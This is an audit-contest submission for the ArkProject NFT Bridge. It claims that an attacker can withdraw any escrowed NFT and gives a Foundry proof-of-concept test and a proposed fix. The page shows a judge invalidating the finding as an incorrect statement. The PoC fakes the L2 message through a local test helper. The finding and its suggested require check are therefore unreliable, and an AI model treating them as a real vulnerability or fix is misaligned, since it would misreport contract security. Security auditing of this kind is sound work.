ArkProject: NFT Bridge
ArkProject
NFTBridge
60,000 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

An attacker can craft a malicious request to withdraw any NFT locked in Bridge Escrow

praise03

Summary

Attacker can withdraw any NFT from bridge escrow due to inexistent check in _withdrawFromEscrow

Vulnerability Details

POC

function testWithDrawAnyNFTFromEscrow() public {
IStarklane(bridge).setL1L2CollectionMapping(address(erc721C1), Cairo.snaddressWrap(0x123), true);
​
//mint tokens to alice
IERC721MintRangeFree(erc721C1).mintRangeFree(alice, 0, 10);
​
uint256[] memory ids = new uint256[](1);
ids[0] = 0;
​
uint256 salt = 0x1;
snaddress to = Cairo.snaddressWrap(0x1);
​
//alice deposit token 0 to escrow
vm.startPrank(alice);
IERC721(erc721C1).setApprovalForAll(address(bridge), true);
IStarklane(bridge).depositTokens{value: 30000}(
salt,
address(erc721C1),
to,
ids,
false
);
​
//attacker address crafts malicious request to withdraw alice's token from the bridge
vm.startPrank(address(3));
// Build the request and compute it's "would be" message hash.
felt252 header = Protocol.requestHeaderV1(CollectionType.ERC721, false, false);
​
uint256[] memory ids2 = new uint256[](1);
ids2[0] = 0;
​
//build malicious withdraw request to send tokens to attacker's address on L1
Request memory req = Request ({
header: header,
hash: 0x1,
collectionL1: address(erc721C1),
collectionL2: Cairo.snaddressWrap(0x123),
ownerL1: address(3),
ownerL2: Cairo.snaddressWrap(0x1),
name: "",
symbol: "",
uri: "ABCD",
tokenIds: ids2,
tokenValues: new uint256[](0),
tokenURIs: new string[](0),
newOwners: new uint256[](0)
});
​
​
// req.collectionL1 = address(erc721C1);
uint256[] memory reqSerialized = Protocol.requestSerialize(req);
bytes32 msgHash = computeMessageHashFromL2(reqSerialized);
​
​
​
uint256[] memory hashes = new uint256[](1);
hashes[0] = uint256(msgHash);
IStarknetMessagingLocal(snCore).addMessageHashesFromL2(hashes);
address collection = IStarklane(bridge).withdrawTokens(reqSerialized);
​
​
//nft is withdrawn to attacker's address
assertEq(IERC721(erc721C1).ownerOf(0), address(3));
​
}

```

The above POC demonstrates that by crafting a malicious withdraw on the L1 network an attacker can withdraw any NFT from the Bridge escrow by including the collection address and token ID of the previously deposited L1 collection they want to obtain. One of the reasons for this is the fact that the bridge contract fails to verify if the NFT is being sent to is the address stored in the ***_escrow *** mapping:

//NFT owner is stored in this mapping but
//withdraw tx sender / to address is not being verified according to the mapping
_escrow[collection][id] = msg.sender;

Impact

Bridge Users Can Lose All their Bridged NFTs, and bridging back from L2 does not get it back for them

Tools Used

Manual Review

Recommendations

Add this line of code to the _withdrawFromEscrow function to prevent unauthorized withdrawals. This fix will also prevent anyone from being able to call cancelRequest**** for a bridge transaction should the initator choose not to cancel the message again after initiaing the cancellation** **

require(msg.sender == _escrow[collection][id], "You do not own this NFT");
Updates

Lead Judging Commences

n0kto Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.